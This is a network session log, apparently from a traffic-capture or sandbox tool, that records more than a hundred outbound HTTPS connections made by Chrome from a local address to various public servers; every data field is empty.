Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
701	192.168.2.4	50666	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
702	192.168.2.4	50625	68.67.161.208	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
703	192.168.2.4	50638	20.101.38.191	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
704	192.168.2.4	50726	52.46.151.131	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
705	192.168.2.4	50600	23.105.12.143	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
706	192.168.2.4	50641	34.102.243.38	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
707	192.168.2.4	50157	192.132.33.68	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
708	192.168.2.4	50639	216.200.232.253	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
709	192.168.2.4	50647	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
710	192.168.2.4	50662	52.207.14.193	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
711	192.168.2.4	50598	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
712	192.168.2.4	50601	172.64.151.101	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
713	192.168.2.4	50615	35.190.43.167	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
714	192.168.2.4	50613	184.73.166.124	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
715	192.168.2.4	50588	52.73.182.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
716	192.168.2.4	50590	35.244.154.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
717	192.168.2.4	50577	3.225.218.10	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
718	192.168.2.4	50579	104.22.50.98	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
719	192.168.2.4	50620	23.22.53.123	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
720	192.168.2.4	50576	34.205.236.190	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
721	192.168.2.4	50603	8.28.7.81	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
722	192.168.2.4	50595	8.2.110.17	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
723	192.168.2.4	50584	3.231.108.23	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
724	192.168.2.4	50655	52.46.143.56	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
725	192.168.2.4	50658	104.18.214.59	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
726	192.168.2.4	50676	35.170.221.127	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
727	192.168.2.4	50650	54.88.74.145	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
728	192.168.2.4	50643	35.166.23.142	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
729	192.168.2.4	50644	35.166.23.142	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
730	192.168.2.4	50698	35.190.24.218	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
731	192.168.2.4	50675	172.64.145.29	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
732	192.168.2.4	50697	172.253.63.149	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
733	192.168.2.4	50696	34.229.3.43	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
734	192.168.2.4	50700	13.249.39.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
735	192.168.2.4	50743	192.184.68.228	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
736	192.168.2.4	50626	3.231.108.23	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
737	192.168.2.4	50724	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
738	192.168.2.4	50671	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
739	192.168.2.4	50607	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
740	192.168.2.4	50695	104.22.50.98	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
741	192.168.2.4	50627	23.22.53.123	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
742	192.168.2.4	50582	3.231.108.23	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
743	192.168.2.4	50759	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
744	192.168.2.4	50665	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
745	192.168.2.4	50687	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
746	192.168.2.4	50581	104.22.50.98	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
747	192.168.2.4	50654	52.46.143.56	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
748	192.168.2.4	50621	35.71.139.29	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
749	192.168.2.4	50680	69.166.1.35	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
750	192.168.2.4	50670	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
751	192.168.2.4	50735	54.156.138.144	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
752	192.168.2.4	50723	8.28.7.81	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
753	192.168.2.4	50575	34.111.113.62	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
754	192.168.2.4	50652	52.73.182.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
755	192.168.2.4	50746	34.36.216.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
756	192.168.2.4	50585	69.194.240.13	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
757	192.168.2.4	50606	52.12.180.5	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
758	192.168.2.4	50744	34.150.170.96	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
759	192.168.2.4	50722	142.251.16.157	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
760	192.168.2.4	50320	142.251.16.157	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
761	192.168.2.4	50689	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
762	192.168.2.4	50764	18.160.24.6	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
763	192.168.2.4	50592	8.2.110.17	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
764	192.168.2.4	50640	51.222.39.184	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
765	192.168.2.4	50586	3.231.108.23	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
766	192.168.2.4	50632	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
767	192.168.2.4	50721	51.75.130.31	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
768	192.168.2.4	50656	52.46.143.56	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
769	192.168.2.4	50702	3.225.135.34	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
770	192.168.2.4	50741	34.197.11.80	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
771	192.168.2.4	50694	54.166.87.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
772	192.168.2.4	50711	3.225.218.10	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
773	192.168.2.4	50715	52.73.182.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
774	192.168.2.4	50713	50.16.42.122	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
775	192.168.2.4	50681	147.28.129.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
776	192.168.2.4	50712	35.186.253.211	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
777	192.168.2.4	50578	34.111.131.239	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
778	192.168.2.4	50624	216.200.232.249	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
779	192.168.2.4	50634	67.202.105.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
780	192.168.2.4	50612	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
781	192.168.2.4	50623	216.22.16.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
782	192.168.2.4	50685	104.22.51.98	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
783	192.168.2.4	50551	52.86.126.204	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
784	192.168.2.4	50574	8.28.7.81	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
785	192.168.2.4	50673	174.137.133.32	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
786	192.168.2.4	50706	34.144.196.102	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
787	192.168.2.4	50705	192.184.68.228	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
788	192.168.2.4	50589	82.145.213.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
789	192.168.2.4	50761	8.28.7.84	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
790	192.168.2.4	50699	40.85.112.191	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
791	192.168.2.4	50677	23.105.12.117	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
792	192.168.2.4	50714	52.46.151.131	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
793	192.168.2.4	50742	185.184.8.90	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
794	192.168.2.4	50690	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
795	192.168.2.4	50754	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
796	192.168.2.4	50758	8.28.7.81	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
797	192.168.2.4	50771	23.22.53.123	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
798	192.168.2.4	50752	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
799	192.168.2.4	50737	23.22.53.123	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
800	192.168.2.4	50596	3.33.220.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
801	192.168.2.4	50707	34.149.50.64	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
802	192.168.2.4	50720	52.46.151.131	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
803	192.168.2.4	50693	13.249.39.105	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
804	192.168.2.4	50747	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
805	192.168.2.4	50733	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
806	192.168.2.4	50734	70.42.32.127	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
807	192.168.2.4	50691	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
808	192.168.2.4	50751	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
809	192.168.2.4	50762	150.136.25.38	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
810	192.168.2.4	50725	8.28.7.81	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
811	192.168.2.4	50580	216.200.232.249	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
812	192.168.2.4	50684	35.244.250.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
813	192.168.2.4	50704	34.197.159.88	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
814	192.168.2.4	50594	8.28.7.82	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
815	192.168.2.4	50701	35.190.90.30	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
816	192.168.2.4	50753	23.105.12.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
817	192.168.2.4	50717	8.28.7.82	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
818	192.168.2.4	50763	52.46.151.131	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
819	192.168.2.4	50767	74.119.119.139	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
820	192.168.2.4	50674	107.20.136.79	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
821	192.168.2.4	50736	107.20.136.79	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
822	192.168.2.4	50678	18.160.10.58	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
823	192.168.2.4	50779	23.21.22.65	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
824	192.168.2.4	50780	34.98.64.218	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
825	192.168.2.4	50738	35.244.154.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
826	192.168.2.4	50710	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
827	192.168.2.4	50775	51.222.39.184	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
828	192.168.2.4	50718	50.16.42.122	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
829	192.168.2.4	50760	51.222.241.145	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
830	192.168.2.4	50730	104.18.36.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
831	192.168.2.4	50777	18.67.76.126	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
832	192.168.2.4	50765	104.22.50.98	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
833	192.168.2.4	50745	68.67.161.208	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
834	192.168.2.4	50728	121.127.42.98	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
835	192.168.2.4	50768	68.67.181.211	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
836	192.168.2.4	50778	8.2.110.33	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
837	192.168.2.4	50781	35.190.43.167	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
838	192.168.2.4	50766	104.22.50.98	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
839	192.168.2.4	50740	23.22.53.123	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
840	192.168.2.4	50790	35.244.250.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
841	192.168.2.4	50782	100.24.220.190	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
